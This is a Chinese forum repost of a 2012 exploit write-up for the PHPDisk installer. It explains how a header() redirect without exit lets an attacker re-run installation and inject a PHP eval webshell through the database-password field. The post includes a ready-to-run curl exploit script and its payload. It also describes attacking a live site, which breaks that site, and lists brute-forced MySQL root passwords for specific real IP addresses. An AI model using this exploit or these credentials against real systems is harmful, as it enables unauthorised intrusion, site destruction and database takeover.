你波哥 發表於 2012-6-27 14:25:13

phpdisk 漏洞发布 phpdisk header bypass & getShell exp解析

Author:Yaseng Team:CodePlay<br />1:代码审计<br />PHPDISK网盘系统是国内使用广泛PHP和MySQL构建的网络硬盘(文件存储管理)系统,笔者对其源码分析中,发现了一个很有意思的东东&hellip;..<br />&nbsp;<img alt="" src="https://img.jbzj.com/file_images/article/201206/201206271419094.jpg" /><br />图一<br />&nbsp;图一为install下面的index.php,程序安装文件。看上起很正常的代码,当系统安装时,生成一个锁定文件,再次执行install时判断,这里他用了一个Header,而木有exit 。然而php中header 跳转之后代码还是向后执行,可以直接post 数据过去,再来看这个文件 。&nbsp;<br /><img alt="" src="https://img.jbzj.com/file_images/article/201206/201206271419095.jpg" /><br /><br />图二<br />安装流程全部靠$step,而step 又可以靠POST 控制。 继续找可以利用之处<br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode7"> <br />$str = "&lt;?php".LF.LF; <br />$str .= "// This is PHPDISK auto-generated file. Do NOT modify me.".LF.LF; <br />$str .= "\$configs = array(".LF.LF; <br />$str .= "\t'dbhost' =&gt; '$dbhost',".LF.LF; <br />$str .= "\t'dbname' =&gt; '$dbname',".LF.LF; <br />$str .= "\t'dbuser' =&gt; '$dbuser',".LF.LF; <br />$str .= "\t'dbpasswd' =&gt; '$dbpasswd',".LF.LF; <br />$str .= "\t'pconnect' =&gt; 0,".LF.LF; <br />$str .= "\t'tpf' =&gt; 'pd_',".LF.LF; <br />$str .= "\t'charset' =&gt; '$charset',".LF.LF; <br />$str .= "\t'debug' =&gt; '0',".LF.LF; <br />$str .= ");".LF.LF; <br />$str .= "define('ADMINCP','admincp');".LF; <br />$str .= "?&gt;".LF; <br />$fp = fopen($config_file,'w'); <br />if (!$fp) { <br />exit("Can not open file &lt;b&gt;$config_file&lt;/b&gt; ."); <br />} <br />if(is_writable($config_file)){ <br />if(@fwrite($fp,$str)){ <br />$msg .= "&lt;font color=blue&gt;{$config_file} ".__('write_success')."&lt;/font&gt;"; <br />}else{ <br />吧post 数据写入配置文件configs.inc.php,可以利用之,继续目测之。 <br />function stripslashes_array(&amp;$array) { <br />if (is_array($array)) { <br />foreach ($array as $k =&gt; $v) { <br />$array[$k] = stripslashes_array($v); <br />} <br />} else if (is_string($array)) { <br />$array = stripslashes($array); <br />} <br />return $array; <br />} <br />if (@get_magic_quotes_gpc()) { <br />$_GET = stripslashes_array($_GET); <br />$_POST = stripslashes_array($_POST); <br />} <br /></div><br />哈哈,为了安装方便,竟然去掉了gpc,这下可以直接写入木马了。<br /><strong>2:漏洞利用&amp; getShell 方法</strong><br />查找写入配置的地方<br />&nbsp;<br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode8"><br />$_l = mysql_connect($dbhost,$dbuser,$dbpasswd) or die(__('could_not_connect'). mysql_error());<br /> if(!mysql_select_db($dbname,$_l)){<br /> mysql_query("create database `{$dbname}`;") or die(__('invalid_query') . mysql_error());<br /> }<br /> @mysql_close($_l);<br /> </div>&nbsp;<br /><br />验证是否可以连接,错误的数据库信息直接退出哦了,看来不能乱写了,只能在dbpasswd 上面下功夫。<br />&nbsp;首先yy一下system 下的configs.inc.php 文件<br />&nbsp;<font color="#ff0000">'dbpasswd' =&gt; '',);?&gt;&lt;?php eval($_POST['y']);?&gt;',<br /></font>就可以直接 菜刀连接之<br />&nbsp;<br />由于没有万恶的gpc 直接POST一个'dbpasswd' = '',);?&gt;&lt;?php eval($_POST['y']);?&gt;'<br />&nbsp;<br />也就是此时的密码为: ',);?&gt;&lt;?php eval($_POST['y']);?&gt;<br />&nbsp;<br />此时需要post的 数据包为:<br />&nbsp;<br />$pass='\',);?&gt;&lt;?php eval($_POST[\'y\']);?&gt;';<br />&nbsp;<br />$data=&quot;step=5&amp;dbhost=localhost&amp;dbuser=yaseng&amp;dbname=yaseng&amp;dbpasswd=&quot;.$pass;<br />&nbsp;<br />当数据库信息正确时,成功写入一句话木马.<br />&nbsp;<br /><img alt="" src="https://img.jbzj.com/file_images/article/201206/201206271419096.jpg" /><br />&nbsp;<br />图四<br />&nbsp;成功写入shell<br />&nbsp;<strong>3:getShell exp 编写<br /></strong>&nbsp;结束yy,我们来用php 中强大的curl exp,前文我们已然构造出post 传送的数据。然后在根据特征检测是否getShell ,具体代码如下(完整exp 见附件)。<br />&nbsp;<br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode9"> <br />$site = $argv; //传入的 网站 <br />$url= $site."/install/index.php"; <br />$pass='\',);?&gt;&lt;?php eval($_POST[\'y\']);?&gt;'; <br />$data="step=5&amp;dbhost=98.126.4.252&amp;dbuser=root&amp;dbname=mysql&amp;dbpasswd=".$pass; //exploit data <br />$ch = curl_init($url); <br />curl_setopt($ch, CURLOPT_HEADER, 1); <br />curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); <br />curl_setopt($ch,CURLOPT_POST,true); <br />curl_setopt($ch,CURLOPT_POSTFIELDS,$data); //发送post 数据 <br />$result=curl_exec($ch); <br />curl_close($ch); <br />$shell="http://".$site.'/system/configs.inc.php'; <br />if(strpos(@file_get_contents($shell),'pconnect')){ //检测是否成功 <br />echo "Hi guy I get the Shell:".$shell; <br />}else{ <br />echo "Shit !!! This Site:$site Can not get Shell"; <br />} <br /></div><br /><strong>4:实战演示<br /></strong>&nbsp;其实这种拿shell 方式是极其缺德,破坏configs.inc.php,导致全站崩溃,俺找了个比较新的站点(目测没什么人) 主啊 原谅我吧 &hellip;&hellip; 实战一番. <br />找外连数据库啊.菜刀里面找了x个shell 皆不能外联,干 向朋友要了个mysql root 爆破工具,爆破了一批root 。 <br />进入数据库成功... 98.126.4.252 root password <br />进入数据库成功... 98.126.4.253 root password <br />进入数据库成功... 98.126.4.250 root password <br />进入数据库成功... 98.126.4.251 root passwd <br />进入数据库成功... 98.126.4.254 root password <br />进入数据库成功... 98.126.4.252 root root123456 <br />进入数据库成功... 98.126.4.253 root root123456&nbsp;&nbsp;<br />&nbsp;<img alt="" src="https://img.jbzj.com/file_images/article/201206/201206271419097.jpg" /><br />&nbsp;<br />随便找了个,本地adminer(一个单文件php MySQL管理客户端) 进去改密码,此时发送的data为(如果不行 请大家自行更换可外链的mysql)<br />&nbsp;$pass='\',);?&gt;&lt;?php eval($_POST[\'y\']);?&gt;';<br />&nbsp;$data=&quot;step=5&amp;dbhost=98.126.4.252&amp;dbuser=root&amp;dbname=mysql&amp;dbpasswd=&quot;.$pass;<br />&nbsp;Php命令行下执行php phpdisk.php&nbsp;<br />&nbsp;<img alt="" src="https://img.jbzj.com/file_images/article/201206/201206271419098.jpg" /><br />Done,成功写入,菜刀连接。<br /><br /><img alt="" src="https://img.jbzj.com/file_images/article/201206/201206271419099.jpg" /><br />&nbsp;<br />Ko !!!<br />&nbsp;<strong>4:总结</strong><br />&nbsp;本文是Header直接跳转导致绕过的典型文章,php函数使用强大而简单,同时我们不得不谨慎使用如header,preg_replace,eval 之类的危险函数,以免被非法利用。
頁: [1]
查看完整版本: phpdisk 漏洞发布 phpdisk header bypass & getShell exp解析